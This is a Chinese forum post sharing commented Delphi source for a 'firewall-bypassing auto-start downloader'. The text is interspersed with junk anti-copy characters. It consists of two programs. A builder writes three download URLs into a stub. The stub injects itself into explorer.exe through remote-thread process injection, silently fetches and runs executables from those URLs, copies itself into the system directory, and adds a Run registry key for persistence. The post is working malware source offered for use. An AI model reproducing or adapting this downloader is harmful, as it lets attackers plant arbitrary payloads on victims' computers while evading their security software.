[分享] 穿墙自启动下载者4.0 delphi源码详细注释

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顶楼大中小发表于 2007-5-22 14:50 只看该作者

穿墙自启动下载者4.0 delphi源码详细注释

生成器
unit Unit1;7 x3 B- r& h; |. ]
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interface3 }# Q+ \( f& I7 U k( F( x' K
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uses' d( [1 V% n! y& ^" m- W1 r
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls, ExtCtrls; //调用的单元，

const
OFFSET_URL = 29548; //下载地址偏移 1
OFFSET_URL2 = 29616; //下载地址偏移 2
OFFSET_URL3 = 29684; //下载地址偏移 3

& G2 B1 q5 A$ J. W0 s
{计算方法是用C32ASM打开编译得服务端即server.exe，搜索- m6 \ i. A2 h2 ~" y& ^2 A
server中
var6 X4 ]4 c" U3 Y3 n( k i/ `
url: pchar =' ';
url2: pchar =' ';
url3: pchar =' ';. I* z# @, ^& X9 o1 @) ~
三个变量得位置，搜索方法直接搜索一堆空格，就能找到，如果你怕找不好，可以把上面" E- D# g+ ?5 g/ u3 U9 \
pchar =' ';
里面换作pchar ='http:// ';# |- z1 a$ [7 c2 b8 ]; M
搜索http://即可，搜索到位置后，转换成10进制写在类似29548等的位置}

type
TForm1 = class(TForm)
Label1: TLabel;0 }, l/ E2 X4 j' j( C' [7 v5 w
EdtUrl: TEdit;/ q" a6 z; I8 V5 `% e
Button1: TButton;
Button2: TButton;9 I5 e' p v; ]* |7 I
Label3: TLabel;
Label4: TLabel;
Edit1: TEdit;. K) F6 j3 ~" e8 z
Label5: TLabel;
Edit2: TEdit;
Label2: TLabel;- m: m1 y1 k0 S+ ?
Label7: TLabel;+ i; f6 m# Y- h' V1 ^+ d/ z+ X
procedure Button2Click(Sender: TObject);
procedure Button1Click(Sender: TObject);
+ K2 W( f# J/ E" n# \/ @" U% e: X+ G! D$ w
private. s: k. h# \; R# a& V; r8 t
{ Private declarations }9 T: K9 R: u% j' T- x2 l1 H
public
{ Public declarations }& T; S7 C8 ]2 z+ y7 l5 H S# \. q4 o
end;

var: V7 S- e ^6 b! I
Form1: TForm1;% D/ x- ^, ?0 g G+ L

implementation5 H, b- X0 r# D. _7 ~
$ d1 z- q* b/ m8 Y' b) v
{$R *.dfm}) i+ a# T& C3 Y- K# h9 b3 H
{上面一堆代码是DELPHI自动添加的，Var 是定义全局变量的位置,需要加啥自己加，如果不想修改就那么放着好了}6 G `8 T9 ]$ e2 c0 R8 `8 ]
$ g" i) A* l' I2 N8 l
procedure TForm1.Button2Click(Sender: TObject);( N6 B# R1 x j' `
begin% d8 \* ?$ f. o) W
close;
end;! g6 h* U7 e' ^0 y
//按钮button2按下关闭
procedure TForm1.Button1Click(Sender: TObject);
var/ a0 {; A3 m& ?: {$ D+ L
WriteBuff, ResultFilePath, ResourcePointer: PChar;
ResourceLocation: HRSRC;8 N5 d! |6 H! R# v7 V
ResourceSize, BytesWritten: Longword;4 s9 X2 d5 f2 C$ n# m/ ^; K0 u
ResDataHandle: THandle;
FileHandle: THandle;2 y: Z% S) f# D( U0 c5 m X
sf:TSaveDialog;
Url,Url2,Url3:string; //这儿是重点，必须定义，其他的不需要改动- O5 J+ T8 O4 \ e: a
begin1 c: a4 v0 f& X7 A% }
if trim(EdtUrl.Text)='' then2 I! b0 y, L: y+ d& d9 p
begin
Application.MessageBox(pchar('请输入下载地址！'), '提示信息', mb_iconinformation);
exit;
end;7 _/ N8 |. Y r
//地址为空时提示
sf :=TSaveDialog.Create(Application);
sf.DefaultExt :='exe';+ p3 P. A) h6 p! K
sf.Title :='生成';# Z* n4 \! l7 f- {8 w
if not sf.Execute then exit;% @: A4 U" _% M. O: V% F6 D* @: z
Url :=trim(EdtUrl.Text); //trim函数去掉空格，取得编辑框输入的内容
Url2 :=trim(Edit1.Text); //同上
Url3 :=trim(Edit2.Text); //同上$ V: h0 T( j) L$ [7 e( x
ResultFilePath := pchar(sf.FileName);
ResourceLocation := FindResource(HInstance, 'urlmm', RT_RCDATA); //用资源RCDATA中urlmm资源# B& b( D2 P* D- }9 r
if ResourceLocation <> 0 then" {: ]0 B' [& W0 y1 s
begin
ResourceSize := SizeofResource(HInstance, ResourceLocation);8 {) Z; v# O: F
if ResourceSize <> 0 then
begin
ResDataHandle := LoadResource(HInstance, ResourceLocation);! s$ _( o! ?% J7 V; T
if ResDataHandle <> 0 then* r3 A/ Y' \: Y
begin
ResourcePointer := LockResource(ResDataHandle);6 F- H; x# V. E7 {% L" r
if ResourcePointer <> nil then
begin
FileHandle := CreateFile(ResultFilePath, GENERIC_WRITE, FILE_SHARE_WRITE, nil, Create_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);& A u5 {$ a: E
if FileHandle <> INVALID_HANDLE_VALUE then
begin( O9 N7 v+ u# v" H
WriteFile(FileHandle, ResourcePointer^, ResourceSize, BytesWritten, nil);
Sleep(10);
//看好下面三段，写入偏移的重点，48是长度，49是中止长度，你空格多长，这里就多长
//三段写入了3个地址! d! V2 h6 A9 H- C T3 C0 r4 |
SetFilePointer(FileHandle, OFFSET_URL, nil, FILE_BEGIN);- t0 ~' x. e& T, G
WriteBuff := PChar(Url + StringOfChar(#0, 48 - Length(Url)));
WriteFile(FileHandle, WriteBuff^, 49, BytesWritten, nil);
/ g& i2 q& E# T7 ?2 G
SetFilePointer(FileHandle, OFFSET_URL2, nil, FILE_BEGIN);
WriteBuff := PChar(Url2 + StringOfChar(#0, 48 - Length(Url2)));8 ^; C A: R- ]( Q I: l8 @
WriteFile(FileHandle, WriteBuff^, 49, BytesWritten, nil);, g Y. T) d8 C, }# m5 E

SetFilePointer(FileHandle, OFFSET_URL3, nil, FILE_BEGIN);
WriteBuff := PChar(Url3 + StringOfChar(#0, 48 - Length(Url3)));
WriteFile(FileHandle, WriteBuff^, 49, BytesWritten, nil);
" L- f7 D* ^1 D0 R: t" M# Q# w

CloseHandle(FileHandle); //这个一定不能少$ _) i' ?- c2 H, V, a/ D
MessageBox(0, '配置文件成功', '提示', mb_iconinformation);; x! j9 P# N. b0 O+ M+ ^3 \1 {
end;
end;/ G2 D: c$ ~/ s b( \
end;$ y! q; I: a- X2 C
end;
end;9 Y& t) \: [ U7 ]6 c! e
end;
/ ~6 n6 y: p: W2 d$ i

program server;
! h$ f/ ^8 e; } |( `
{$IMAGEBASE $13140000}

uses. k1 y' M) f( b, A$ W
Windows,# N. [/ A3 q- p- e- D: I
SysUtils,3 P9 |% g# e' b
urlmon, //下载单元，这个改api减少体积不多( m. W, i) o, S
Registry; //注册表单元,这个可以改成api，会减少很多体积8 |5 @2 C. J: g" r. e" ^( ~
var! j( `9 J2 Q1 W& b1 E6 \+ W( Q
url: pchar =' '; //依次3个留出了生成器写入下载地址的位置
url2: pchar =' ';8 [7 `8 H+ E, M/ L" y) E K
url3: pchar =' ';4 C! o$ ~7 O- v# [% ]
procedure Download; //下载过程
begin& Y, }3 ~* o7 J0 z- L
URLDownloadToFile(nil, url, 'C:\windows\temp\system.exe', 0, nil); //下载文件$ ]' a( [( [. t- r4 _" c' x- {
WinExec('C:\windows\temp\system.exe', SW_SHOW); //SW_SHOW or SW_HIDE //执行文件 sw_show是显示运行，sw_hide是隐藏运行, @ G3 v3 `: t$ } q4 M
7 {. `; w9 A& @7 Q& v' l
URLDownloadToFile(nil, url2, 'C:\windows\temp\system2.exe', 0, nil);
WinExec('C:\windows\temp\system2.exe', SW_SHOW); //SW_SHOW or SW_HIDE //winexec可以用api写，减少体积
o2 u9 w# [* ^" a" z0 K9 h
URLDownloadToFile(nil, url3, 'C:\windows\temp\system3.exe', 0, nil);9 G/ y7 I; i( S
WinExec('C:\windows\temp\system3.exe', SW_SHOW); //SW_SHOW or SW_HIDE7 P! S# N8 A( M6 V% q% m7 J
end;# W; G: _+ z6 Z

var
hModule, hModule_News: Pointer;
Extent, Size, ThreadId: longword;' l* F+ Y3 o8 g2 T
ProcessHandle, Pid: longword;4 J v) g8 T: v7 M/ ]) w- U, \
reg:TRegistry;0 K- s1 u9 l. e
sysdir:array[0..50] of char;5 t4 R9 l+ D' {* O+ `& {

begin- R. c% z. Y1 ?! F% w
GetWindowThreadProcessId(FindWindow('Shell_TrayWnd', nil), @Pid);# n4 }6 Y; N& H g' m& Z7 \3 D
//获取Exp进程的PID码,Shell_TrayWnd为类名,相关的需用SPY++来查看

ProcessHandle := OpenProcess(PROCESS_ALL_ACCESS, False, Pid); //打开进程! P3 ]- g, t* m5 k1 d0 f
0 ?$ ?5 b3 L( k) g6 d& g" W y/ ~
hModule := Pointer(GetModuleHandle(nil));
//这里得到的值为一个返回一个指针型变量,指向内容包括自身映像的基址和长度
; h" ?( o3 M0 D1 T
Extent := PImageOptionalHeader(Pointer(integer(hModule) +PImageDosHeader(hModule)._lfanew + SizeOf(dword) +SizeOf(TImageFileHeader))).SizeOfImage;
//得到内存映像的长度

VirtualFreeEx(ProcessHandle, hModule, 0, MEM_RELEASE);" f5 L0 [, I0 d' k
//在Exp进程的内存范围内分配一个足够长度的内存& ^# v. J1 i6 I

hModule_News := VirtualAllocEx(ProcessHandle, hModule, Extent, MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE);8 c7 Z$ a5 N& u! k5 v
//确定起始基址和内存映像基址的位置& z: t9 R% y$ ]6 }! S1 J& @

WriteProcessMemory(ProcessHandle, hModule_News, hModule, Extent, Size);8 n- N% k/ }* ?! I" U
//确定上面各项数据后,这里开始进行操作
2 h3 P9 H7 @4 S6 h* M4 @* \& H
CreateRemoteThread(ProcessHandle, nil, 0, @Download, hModule, 0, ThreadId);- k/ f: V9 d1 g' x6 H. o
//建立远程线程,至此注入过程完成: e% N8 q' T% k- }; Y9 ?# B

CloseHandle(ProcessHandle);
//关闭对像0 N# @; E7 ]: c; l; z9 ^) F
6 d( T: i) c) N7 H
{上面这段代码是插进程explorer.exe}; `) a& V* i5 b, ]
begin5 c5 z( x2 K* h( a$ {6 ?) t3 S
Reg := TRegistry.Create;
Try0 T8 h' t- b" G7 A/ B$ B* {) k
Reg.RootKey := HKEY_LOCAL_MACHINE;! `" Z1 d! p+ I8 i% k5 U1 j3 A
Reg.OpenKey('Software\Microsoft\Windows\CurrentVersion\Run', True);
Reg.WriteString('system', 'intenat.exe'); //写入数据# O/ ~" h7 Y: H. V x" y% w
Reg.CloseKey;
Finally
Reg.Free;0 z8 j) L6 `" D* W
End;
//上面是写注册表代码! }8 K/ s- H9 b9 V6 ?5 ?+ P
GetSystemDirectory(sysdir,50); //获取系统目录，赋给sysdir变量，getwindowsdirectory是获取windows目录( X+ P3 j# o% S* @: E3 K" S; T1 P
if not FileExists(sysdir+'\intenat.exe') then //如果系统目录下不存在intenat.exe则执行
copyfile(pchar(paramstr(0)),pchar(sysdir+'\intenat.exe'),true); //复制自身到系统目录下，名字是intenat.exe5 C2 s' r5 A2 [# m
8 H6 D" I% t* [# z. D& H. d
end; r$ O: `1 z3 s1 b
end.2 f/ C0 q$ ]9 t F
' f" O- z2 B! M8 p. f; j
% z# s* {+ S; @! R: N8 [0 F9 d
end.

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